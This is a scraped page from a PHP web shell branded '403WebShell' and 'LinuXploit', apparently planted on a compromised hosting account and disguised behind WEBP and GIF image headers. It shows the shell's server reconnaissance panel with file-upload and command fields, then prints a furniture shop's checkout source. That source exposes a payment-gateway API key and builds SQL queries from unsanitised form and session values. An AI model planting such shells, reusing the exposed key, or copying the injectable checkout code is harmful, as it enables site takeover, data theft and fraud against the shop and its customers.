RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð .......................................===Shadow-Here===........................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------ //////////////////////////////////////////////////////////////////////////////////////////////// GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 148.135.140.132  /  Your IP : 18.222.22.154
Web Server : LiteSpeed
System : Linux in-mum-web1116.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u496275626 ( 496275626)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u496275626/domains/lavishkafurniture.com/public_html/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u496275626/domains/lavishkafurniture.com/public_html/include/checkoutpage.php
<?php
session_start();
if (!isset($_SESSION['initiated'])) {
    session_regenerate_id(true);    // Regenerate session ID to avoid fixation attacks
    $_SESSION['initiated'] = true;
}
$session_id = session_id();

include '../admin/config.php';

$mobileNumber = mysqli_real_escape_string($con, $_POST['number']);
$address = mysqli_real_escape_string($con, $_POST['address']);
$city = mysqli_real_escape_string($con, $_POST['city']);
$state = mysqli_real_escape_string($con, $_POST['state']);
$country = mysqli_real_escape_string($con, isset($_POST['country']) ? $_POST['country'] : '');
$zipcode = mysqli_real_escape_string($con, $_POST['postcode']);


function tracking_id(){
    date_default_timezone_set('Asia/Calcutta');
    $indiaDateTime = date('Y-m-d H:i:s');
    $charactersToRemove = array(' ', '-', ':');
    $cleaneTime = str_replace($charactersToRemove, '', $indiaDateTime);
    return 'LAVISHKA'.$cleaneTime.random_int(111, 999);
}

// die();

if (isset($_SESSION['lavishkauserauth'])) {
    echo '<pre>';
    echo 'Logedin<br>';
    print_r($_POST);
    echo '</pre>';
    
    if (isset($_POST['placeorderbtn'])){
        if ($_POST['paymentmode'] == 1) {

            $carttotal = 0;

            $userid = $_SESSION['lavishkauserid'];
            $username = $_SESSION['lavishkausername'];

            $cart = mysqli_query($con, "SELECT c.cart_id as cid, c.product_id, c.quantity, p.product_id as pid, p.img, p.product_name, p.price FROM cart c, products p WHERE c.product_id = p.product_id AND c.user_id = $userid");
            
            $carttotal = $_POST['totalamount'];
            $trackingId = tracking_id();
            
            $order = mysqli_query($con,"INSERT INTO `orders` (`user_id`, `tracking_id`, `payment_mod`, `transaction_id`, `status`, `total`, `shipping_address`, `shipping_city`, `shipping_state`, `shipping_zip_code`) VALUES('$userid', '$trackingId', 'COD', '', 0, '$carttotal', '$address', '$city', '$state', '$zipcode')");  
            if ($order) {
                $order_id = mysqli_insert_id($con);
                foreach ($cart as $item) {
                    $product_id = $item['product_id'];
                    $quantity = $item['quantity'];
                    $price = $item['price'];
                    $orderdetails = mysqli_query($con, "INSERT INTO `orderdetails` (`order_id`, `product_id`, `quantity`, `price`) VALUES('$order_id', '$product_id', '$quantity', '$price')");
                }
            }
            $deletecart = mysqli_query($con, "DELETE FROM cart WHERE `cart`.`user_id` = $userid");
            header('Location: https://lavishkafurniture.apnadigitalsolution.com/thankyou.php?tid='.$trackingId);
            die();
        }
        elseif ($_POST['paymentmode'] == 2) {
            $carttotal = 0;
            $userid = $_SESSION['lavishkauserid'];
            $username = $_SESSION['lavishkausername'];
            $cart = mysqli_query($con, "SELECT c.cart_id as cid, c.product_id, c.quantity, p.product_id as pid, p.img, p.product_name, p.price FROM cart c, products p WHERE c.product_id = p.product_id AND c.user_id = $userid");
            $carttotal = $_POST['totalamount'];
            $trackingId = tracking_id();
            $order = mysqli_query($con,"INSERT INTO `orders` (`user_id`, `tracking_id`, `payment_mod`, `transaction_id`, `status`, `total`, `shipping_address`, `shipping_city`, `shipping_state`, `shipping_country`, `shipping_zip_code`) VALUES('$userid', '$trackingId', 'COD', '', 0, '$carttotal', '$address', '$city', '$state', '$country', '$zipcode')");  
            if ($order) {
                $order_id = mysqli_insert_id($con);
                foreach ($cart as $item) {
                    $product_id = $item['product_id'];
                    $quantity = $item['quantity'];
                    $price = $item['price'];
                    $orderdetails = mysqli_query($con, "INSERT INTO `orderdetails` (`order_id`, `product_id`, `quantity`, `price`) VALUES('$order_id', '$product_id', '$quantity', '$price')");
                }
            }
            $deletecart = mysqli_query($con, "DELETE FROM cart WHERE `cart`.`user_id` = $userid");
            // Init Payment
            $customerNumber = (int)$_POST['number'];
            $customerAmount = (int)$_POST['totalamount'];
            $patmentURL = '';
            $apiKey = '96434309-7796-489d-8924-ab56988a6076';
            $marchantID = 'PGTESTPAYUAT86';
            $keyIndex = '1';
            $transactionId = $trackingId;
            $paymentData = array(
                "merchantId"=> $marchantID,
                "merchantTransactionId"=> $transactionId,
                "merchantUserId"=> "ADS".random_int(100, 999),
                "amount"=> $customerAmount*100,
                "redirectUrl"=> "https://lavishkafurniture.apnadigitalsolution.com/thanks.php",
                "redirectMode"=> "POST",
                "callbackUrl"=> "https://lavishkafurniture.apnadigitalsolution.com/thanks.php",
                "mobileNumber"=> $customerNumber,
                "paymentInstrument"=> array(
                    "type"=> "PAY_PAGE"
                )
            );
            $jsonencode = json_encode($paymentData);
            $payloadMain = base64_encode($jsonencode);
            $payload = $payloadMain . "/pg/v1/pay" . $apiKey;
            $sha256 = hash("sha256", $payload);
            $final_x_header = $sha256 . '###' . $keyIndex;
            $requuest = json_encode(array('request'=>$payloadMain));
            $curl = curl_init();
            curl_setopt_array($curl,[
                CURLOPT_URL => 'https://api-preprod.phonepe.com/apis/pg-sandbox/pg/v1/pay',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => "",
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_CUSTOMREQUEST => "POST",
                CURLOPT_POSTFIELDS => $requuest,
                CURLOPT_HTTPHEADER => [
                    "Content-Type: application/json",
                    "X-VERIFY:" . $final_x_header,
                    "accecpt : application/json"
                ],
            ]);
            $responce = curl_exec($curl);
            $err = curl_error($curl);
            curl_close($curl);



            if($err){
                echo "cURL Error #:" . $err;

            }
            else{
                $res = json_decode($responce);

                // echo '<pre>';
                // print_r($res);
                // echo '</pre>';
                if (isset($res->success) && $res->success=='1') {
                    $paymentCode=$res->code;
                    $paymentMsg=$res->message;
                    $patmentURL = $res->data->instrumentResponse->redirectInfo->url;
                    
                    // header('Location:'.$paymentUrl);
                }
            }

            // print_r($_POST);
            // print_r($res);

            header('Location: '.$patmentURL);
        }
    }
}
else{
    
    $email = mysqli_real_escape_string($con, $_POST['email']);
    $name = mysqli_real_escape_string($con, $_POST['name']);

    if (isset($_POST['placeorderbtn'])) {
        if ($_POST['paymentmode'] == 1) {
            $guestUser = mysqli_query($con,"INSERT INTO `guestuser` (`email`,`name`,`mobile_number`, `address`, `city`, `state`, `postal_code`, `country`) VALUES ('$email', '$name' ,$mobileNumber, '$address', '$city', '$state', '$zipcode', '$country')");
            if ($guestUser) {
                $guestUser_id = mysqli_insert_id($con);
                $trackingId = tracking_id();
                $totalamount = $_POST['totalamount'];
                $order = mysqli_query($con,"INSERT INTO `guestorders` (`guest_id`, `tracking_id`, `payment_mod`, `transaction_id`, `status`, `total`, `shipping_address`, `shipping_city`, `shipping_state`, `shipping_country`, `shipping_zip_code`) VALUES('$guestUser_id', '$trackingId', 'COD', '', 0, '$totalamount', '$address', '$city', '$state', '$country', '$zipcode')");
                if ($order) {
                    $order_id = mysqli_insert_id($con);
                    foreach ($_SESSION['cart'] as $key => $value) {
                        $product_id = $value['id'];
                        $quantity = $value['quantity'];
                        $price = $value['price'];
                        $orderdetails = mysqli_query($con, "INSERT INTO `guestorderdetails` (`order_id`, `product_id`, `quantity`, `price`) VALUES('$order_id', '$product_id', '$quantity', '$price')");
                    }
                    unset($_SESSION['cart']);
                    header('Location: https://lavishkafurniture.apnadigitalsolution.com/thankyou.php?tid='.$trackingId);
                }
            }
        }
        elseif($_POST['paymentmode'] == 2){
            $guestUser = mysqli_query($con,"INSERT INTO `guestuser` (`email`,`name`,`mobile_number`, `address`, `city`, `state`, `postal_code`, `country`) VALUES ('$email', '$name' ,$mobileNumber, '$address', '$city', '$state', '$zipcode', '$country')");
            if ($guestUser) {
                $guestUser_id = mysqli_insert_id($con);
                $trackingId = tracking_id();
                $totalamount = $_POST['totalamount'];
                $order = mysqli_query($con,"INSERT INTO `guestorders` (`guest_id`, `tracking_id`, `payment_mod`, `transaction_id`, `status`, `total`, `shipping_address`, `shipping_city`, `shipping_state`, `shipping_country`, `shipping_zip_code`) VALUES('$guestUser_id', '$trackingId', 'COD', '', 0, '$totalamount', '$address', '$city', '$state', '$country', '$zipcode')");
                if ($order) {
                    $order_id = mysqli_insert_id($con);
                    foreach ($_SESSION['cart'] as $key => $value) {
                        $product_id = $value['id'];
                        $quantity = $value['quantity'];
                        $price = $value['price'];
                        $orderdetails = mysqli_query($con, "INSERT INTO `guestorderdetails` (`order_id`, `product_id`, `quantity`, `price`) VALUES('$order_id', '$product_id', '$quantity', '$price')");
                    }
                    unset($_SESSION['cart']);
                }
                $customerNumber = (int)$_POST['number'];
                $customerAmount = (int)$_POST['totalamount'];
                $patmentURL = '';
                $apiKey = '96434309-7796-489d-8924-ab56988a6076';
                $marchantID = 'PGTESTPAYUAT86';
                $keyIndex = '1';
                $transactionId = $trackingId;
                $paymentData = array(
                    "merchantId"=> $marchantID,
                    "merchantTransactionId"=> $transactionId,
                    "merchantUserId"=> "ADS".random_int(100, 999),
                    "amount"=> $customerAmount*100,
                    "redirectUrl"=> "https://lavishkafurniture.apnadigitalsolution.com/thanks.php",
                    "redirectMode"=> "POST",
                    "callbackUrl"=> "https://lavishkafurniture.apnadigitalsolution.com/admin/callback.php",
                    "mobileNumber"=> $customerNumber,
                    "paymentInstrument"=> array(
                        "type"=> "PAY_PAGE"
                    )
                );
                $jsonencode = json_encode($paymentData);
                $payloadMain = base64_encode($jsonencode);
                $payload = $payloadMain . "/pg/v1/pay" . $apiKey;
                $sha256 = hash("sha256", $payload);
                $final_x_header = $sha256 . '###' . $keyIndex;
                $requuest = json_encode(array('request'=>$payloadMain));
                $curl = curl_init();
                curl_setopt_array($curl,[
                    CURLOPT_URL => 'https://api-preprod.phonepe.com/apis/pg-sandbox/pg/v1/pay',
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_ENCODING => "",
                    CURLOPT_MAXREDIRS => 10,
                    CURLOPT_TIMEOUT => 30,
                    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                    CURLOPT_CUSTOMREQUEST => "POST",
                    CURLOPT_POSTFIELDS => $requuest,
                    CURLOPT_HTTPHEADER => [
                        "Content-Type: application/json",
                        "X-VERIFY:" . $final_x_header,
                        "accecpt : application/json"
                    ],
                ]);
                $responce = curl_exec($curl);
                $err = curl_error($curl);
                curl_close($curl);
                if($err){
                    echo "cURL Error #:" . $err;
                }
                else{
                    $res = json_decode($responce);
                    if (isset($res->success) && $res->success=='1') {
                        $paymentCode=$res->code;
                        $paymentMsg=$res->message;
                        $patmentURL = $res->data->instrumentResponse->redirectInfo->url;
                    }
                }
                header('Location: '.$patmentURL);
            }
        }  
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit